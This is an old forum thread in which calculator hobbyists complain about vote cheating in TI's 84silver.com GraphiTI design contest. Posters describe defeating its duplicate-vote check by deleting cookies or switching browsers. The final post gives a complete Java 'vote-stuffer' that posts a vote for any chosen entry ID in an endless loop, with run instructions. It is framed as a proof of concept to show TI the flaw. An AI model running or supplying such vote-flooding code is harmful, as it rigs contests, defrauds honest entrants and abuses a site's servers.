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84silver.com's GraphiTI Phase II

Posted: Sat 01 Oct, 2005 5:33 am
by CalcKing
GraphiTI has entered the second phase of voting. If you voted the first time, you know that they required your email address to vote. Well, now they just ask you to click the button! If you have voted previously, you are allowed one more vote.

The overall winner ($1000 for the designer, TI package for a school) is decided based on the number of votes in the first part added to the second part.

My entry: http://www.84silver.com/contest_vote_finals.php?id=3395
DarkAuron's Entry: http://www.84silver.com/contest_vote_finals.php?id=942

If anyone else here made it to the finals, please post a link here. Although I think we should all vote for DarkAuron since he is in the lead of anyone here, you may vote for whichever you want.

For now, I'm just happy to have [hopefully] won a free TI-84+SE, which I will be able to use for USB testing and other nifty stuff -- even if it IS an ugly calculator! :roll:

Posted: Sat 01 Oct, 2005 5:45 am
by DarkAuron
Yes, and it's so easy to crack the voting system now, even more than before, that it's REALLY sad. I'm gonna contact TI again.. ugh. I just want the calc really, so I can make sure project dark will run okay on a ti-84+

Thankfully they're using images now, because viewing 51 of those designs in flash at once would made my computer nuke itself.

Posted: Sat 01 Oct, 2005 8:57 am
by leofox
How many votes did you have in the end for Vermont calcking?

Posted: Sat 01 Oct, 2005 10:57 am
by CalcKing
I had 31 votes. You can still see that by going to http://www.84silver.com/contest_browse.php?state_id=46 :)

Posted: Sat 01 Oct, 2005 6:57 pm
by Spengo
What the deuce? That stupid Hawaiian Swirls one is in the lead by about 400 votes already. My god, if he was going to cheat, the least he could do is create a good design. :x

*spengo is angered*

EDIT: Hey, it only can tell if you've voted more than once inside one browser. I can vote 3 times! Once with firefox, once with opera, and once with IE. :roll: At least Mother of Pearls isn't doing all that great right now. 0 votes! :twisted:

Double Edit: Blast! Now the NY one is up by 700. This is retarded.

Posted: Sun 02 Oct, 2005 1:31 am
by lloydkirk1989
This will be interesting... :lol:

Posted: Sun 02 Oct, 2005 1:49 am
by DarkerLine
Spengo wrote:What the fuck? That stupid Hawaiian Swirls one is in the lead by about 400 votes already. My god, if he was going to cheat, the least he could do is create a good design. :x

*spengo is angered*

EDIT: Hey, it only can tell if you've voted more than once inside one browser. I can vote 3 times! Once with firefox, once with opera, and once with IE. :roll: At least Mother of Pearls isn't doing all that great right now. 0 votes! :twisted:

Double Edit: Blast! Now the NY one is up by 700. This is retarded.
One only has to delete the "already voted" cookie and you can vote again. or just block all cookies from www.84silver.com.

Posted: Sun 02 Oct, 2005 3:01 am
by DarkAuron
Which is why I'm contacting TI on Monday.

Posted: Sun 02 Oct, 2005 4:33 am
by CalcKing
Here's an idea: How about EVERYONE calls TI on Monday at 1:00 PM EST! :lol: :twisted:

Posted: Sun 02 Oct, 2005 4:34 am
by Andy_J
EST? That'd be what 2PM EDT? :P And 1PM CDT...

Posted: Sun 02 Oct, 2005 4:38 am
by Spengo
No can do, 1pm EST == 11am PST. I do be at school.

Posted: Sun 02 Oct, 2005 4:44 am
by CalcKing
Hmm... true, school... :roll:

Let's see, the 800-TI-CARES (800-842-2737) number has

Monday - Thursday: 8:00 AM - 7:00 PM Central Standard Time
Friday: 10:00 AM - 7:00 PM Central Standard Time

for its hours. Meaning... how about 6:30 PM ET (*sigh*@AndySoft)? :wink:

Posted: Sun 02 Oct, 2005 6:20 am
by DarkAuron
Okay, considering miss preppy girl's entry is getting a vote every ~0.8 seconds, and has gone from about 400 votes to over 2300 in less than half an hour, plus with the fact that the voting system is so insecure you could break it by just breathing air... I suggest that every person that reads this post to complain to TI by emailing and/or calling TI as soon as you can. This is an outrage.

Posted: Sun 02 Oct, 2005 8:27 am
by leofox
Dear TI,

I am shocked by the way your voting system for the GraphiTI contest works. It's incredibly easy to cheat.
A friend of mine made it to the finals, but he'll probably wont win because New York has got 700+ votes IN 2 DAYS and Washington has got a shocking 4000+ votes, while everyone else has gotten less than 100 votes (most of them 0 or 1). It's obvious that they didn't get those votes in a fair way, especially considering how easy it is to cheat.

There's quite a lot of money involved in this contest, the winner gets a lot of money and calc stuff both for his/herself and for his/her school. People apparently find it 'normal' to cheat for that kind of material value.

I, and a lot of people with me, think that you should change the voting system to be more fair, so that cheaters can't get a chance, and so people can win in a fair way.

-Leofox

vote-stuffer source code (java)

Posted: Sun 02 Oct, 2005 9:33 am
by fake
This is a proof of concept only. Do NOT use it; its intended to show TI how poor their system is.

Tu use: To go http://www.84silver.com/contest_browse_finals.php and select a calculator to vote for. The 'calculator ID' is shown at the end of the URL, eg 411 for Washington. Extract the code to 'VS.java' (case matters). Compile the code, and run it with java VS 'id number'

eg

java VS 411

to vote for Washington. 1 or 2 votes are cast per second.



Code: Select all

import java.util.*;
import java.io.*;
import java.net.*;

public class VS{


	public static void main(String[] args) throws Exception{
		
	String calcID;
	
	
	System.out.print("\n***TI Vote-stuffer**\n");

	if(args.length==0){
	
			System.out.print("\n\nPlease enter a calculator-ID to vote for");	

			System.out.print("\nas a parameter! eg 'java VS 123'");
			System.out.print("\nyou may find the ID by clicking on an entry on TI's web site");
			return;
	}

	calcID=args[0];	
	System.out.print("\n\nUsing calculator ID: " + calcID+"\n\n");
	
	    URL                 url;
    URLConnection urlConn;
    DataOutputStream    printout;
    DataInputStream     input;
    
    while(true){
    
    Thread.sleep(500);
    
    // URL of CGI-Bin script.
    url = new URL ("http://www.84silver.com/contest_vote_finals.php");
    // URL connection channel.
    urlConn = url.openConnection();
    // Let the run-time system (RTS) know that we want input.
    urlConn.setDoInput (true);
    // Let the RTS know that we want to do output.
    urlConn.setDoOutput (true);
    // No caching, we want the real thing.
    urlConn.setUseCaches (false);
    // Specify the content type.
    urlConn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
    // Send POST output.
    printout = new DataOutputStream (urlConn.getOutputStream ());
    String content =


//"calculator_id=" + URLEncoder.encode ("411") +
"calculator_id=" + URLEncoder.encode (calcID) +
"&vote_for_this_one=" + URLEncoder.encode ("Vote!");
    printout.writeBytes (content);
    printout.flush ();
    printout.close ();
    // Get response data.
    input = new DataInputStream (urlConn.getInputStream ());
    String str;
    while (null != ((str = input.readLine())))

{

System.out.println (str);

}
    input.close ();
	
		
	}

}
}